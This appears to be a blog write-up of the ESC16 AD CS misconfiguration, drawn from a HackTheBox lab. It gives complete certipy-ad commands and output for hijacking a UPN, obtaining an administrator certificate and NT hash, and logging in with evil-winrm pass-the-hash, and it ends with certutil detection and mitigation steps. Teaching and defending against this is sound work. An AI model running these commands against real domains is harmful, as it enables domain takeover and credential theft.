A few days ago, I was working through a HackTheBox machine called Fluffy and came across a very curious configuration in the Active Directory environment. Everything pointed to the new ESC16 — and yes, we leveraged it to grab that coveted “Domain Admin” (I was a bit uncomfortable since I’m still a noob when it comes to Active Directory).
So I decided to write this post to dive deeper into the topic and understand why all of this happens and why AD CS behaves in a way that practically hands us Domain Admin.
Let’s get into it!

First of all, what is ESC16?
ESC16 is one of those dangerous misconfigurations that appears when someone tinkers with the certificate server’s registry and unknowingly disables an extension called szOID_NTDS_CA_SECURITY_EXT (OID: 1.3.6.1.4.1.311.25.2).
This extension is responsible for ensuring that a certificate is correctly bound to the Active Directory user via their SID. Without it, domain controllers fall back to older methods like UPN or SAN to verify certificate ownership. In other words… authentication circa 2005.
Why is this a problem?
Because if someone can change their own userPrincipalName and then request a certificate with an admin’s UPN… the KDC will believe it. Literally. You authenticate as an administrator using a .pfx you generated yourself, and that’s it — full access.
But two conditions must be in place for this to work:
- The extension
1.3.6.1.4.1.311.25.2must be in the list of disabled extensions, as mentioned above. - The domain controller must not be configured in strict mode (registry
StrongCertificateBindingEnforcementset to 1).
Our step-by-step attack
The first thing we need to do to verify whether the CA is vulnerable to ESC16 is use version 5.0.2 of certipy-ad, since older versions won’t detect the ESC16 attack.
In our test scenario, the goal is to obtain the NTLM hash of the Domain Administrator (Administrator).
Here’s a visual overview of what we’re about to do:

CA Enumeration and ESC16 Detection
We use certipy-ad to look for dangerous misconfigurations in certificate services, using the james user — the user assigned to us for testing in an Assume The Breach format, meaning we start from the premise that a low-privilege user within the organization has been compromised:
certipy-ad find -vulnerable -u james@testcorp.local -p "JamesCorp_2025!" -stdout
It’s worth noting that during our enumeration phase, we noticed that the james user has GenericWrite permissions over an account called fulanito, which allows us to modify some of its attributes. The fulanito account is a regular domain user with no elevated privileges.
Attack Requirements
To carry out this attack we need two things: first, permission to edit properties of an Active Directory user (we already have this as james over fulanito), and second, the CA must be vulnerable to ESC16 (also confirmed with certipy-ad).
Although certipy-ad already tells us the environment is vulnerable to ESC16, the following details help confirm the CA is misconfigured:
-
Disabled Extension: We can clearly see that the extension
1.3.6.1.4.1.311.25.2is in the disabled list. This means certificates issued won’t include the user’s SID, which is the foundation of the ESC16 attack. -
User Specified SAN = Disabled: This tells us that custom SANs can’t be injected directly when requesting a certificate. But since we’re going to modify the
userPrincipalName(UPN) offulanito, this doesn’t affect us. -
Request Disposition = Issue: This indicates the CA doesn’t require manual approval or review — if conditions are met, the certificate is issued immediately.
-
Vulnerabilities: It alerts us about ESC16.
-
Permissions: Only the Cert Publishers group has enrollment rights, but since we’re authenticated as
jamesand have control overfulanito’s UPN (who belongs to Cert Publishers), we can request the certificate without any issues.
Changing fulanito’s UPN to administrator
Using james’s permissions over fulanito, we use certipy-ad to modify fulanito’s UPN and impersonate administrator:
certipy-ad account -u 'james@testcorp.local' -p 'JamesCorp_2025!' -target 'dc01.testcorp.local' -upn 'administrator' -user 'fulanito' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'fulanito': userPrincipalName : administrator[*] Successfully updated 'fulanito'This command allowed us to modify fulanito’s userPrincipalName attribute to administrator, tricking the certificate authority into believing we are the Administrator user.
Requesting the Certificate with the New UPN
Now that fulanito has the administrator’s UPN, we request a certificate as him to impersonate administrator:
certipy-ad req -dc-ip '192.168.238.134' -u 'fulanito@testcorp.local' -p 'MisuperPass001!' -target 'dc01.testcorp.local' -ca 'testcorp-DC01-CA' -template 'User'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC[*] Request ID is 16[*] Successfully requested certificate[*] Got certificate with UPN 'administrator'[*] Certificate has no object SID[*] Try using -sid to set the object SID or see the wiki for more details[*] Saving certificate and private key to 'administrator.pfx'[*] Wrote certificate and private key to 'administrator.pfx'This gave us a .pfx with the administrator’s UPN. We’re almost ready to impersonate them.
Reverting the UPN Change
Before using the certificate, we need to restore fulanito’s UPN to its original value, so the domain doesn’t see two UPNs with the same value and throw errors.
Reverting the UPN change:
certipy-ad account -u 'james@testcorp.local' -p 'JamesCorp_2025!' -target 'dc01.testcorp.local' -upn 'fulanito' -user 'fulanito' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'fulanito': userPrincipalName : fulanito[*] Successfully updated 'fulanito'Authentication and Obtaining the Real NT Hash
Now we use the generated .pfx to authenticate and retrieve the TGT and NT hash of the real administrator:
certipy-ad auth -dc-ip '192.168.238.134' -pfx administrator.pfx -username 'Administrator' -domain 'testcorp.local'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:[*] SAN UPN: 'administrator'[*] Using principal: 'administrator@testcorp.local'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'administrator.ccache'[*] Wrote credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for 'administrator'[*] Got hash for 'administrator@testcorp.local': aad3b435b51404eeaad3*****:8da83a3fa618b6e3a0********This also generates a .ccache file which we can use to access the system as administrator via Kerberos.
Final Access with WinRM
We’ll use the NTLM hash to log in using evil-winrm:
evil-winrm -i 192.168.238.134 -u administrator -H 8da83a3fa618b6e3a0********And with that, we’ve successfully compromised the domain controller by abusing ESC16.
Now let’s talk to the Blue Teamers — how do you identify if you’re vulnerable to ESC16?
How to Identify ESC16 Manually – PowerShell
All you need to do is run this command to check for disabled extensions on the CA. I’m specifically looking for 1.3.6.1.4.1.311.25.2, the extension that binds the certificate to the user’s SID. If it’s disabled, the environment is vulnerable to ESC16.
certutil -getreg policy\EnableRequestExtensionList
As we can see in the output, the extension 1.3.6.1.4.1.311.25.2 does not appear in the list, confirming the possibility of an ESC16 attack.
How to Mitigate This Misconfiguration
If you want to view all your CA properties from the graphical interface, open CertSrv.msc with Win + R:

Here you can see the properties of each available CA and what options you have to resolve the issue.

Since I’m not a Blue Teamer, I’ll keep it simple: to fix this misconfiguration, just make sure the CA includes the szOID_NTDS_CA_SECURITY_EXT extension (1.3.6.1.4.1.311.25.2) in certificate requests. You do this by manually adding it to the allowed extensions list with the following command:
certutil -setreg policy\EnableRequestExtensionList "+1.3.6.1.4.1.311.25.2"
Remember to restart the CA service for the change to take effect:
Restart-Service certsvcAnd that’s it, fixed!
Conclusions
That’s all for today. I hope this post helped you understand how ESC16 works and how it can be abused in a real environment. If you found it useful, share it with your team or save it for when you run into a misconfigured CA out in the wild.
I’ll leave some links below with more detailed info on ESC16 in case you want to dive deeper or explore different approaches to the same attack.
See you in the next post — it’s going to be intense!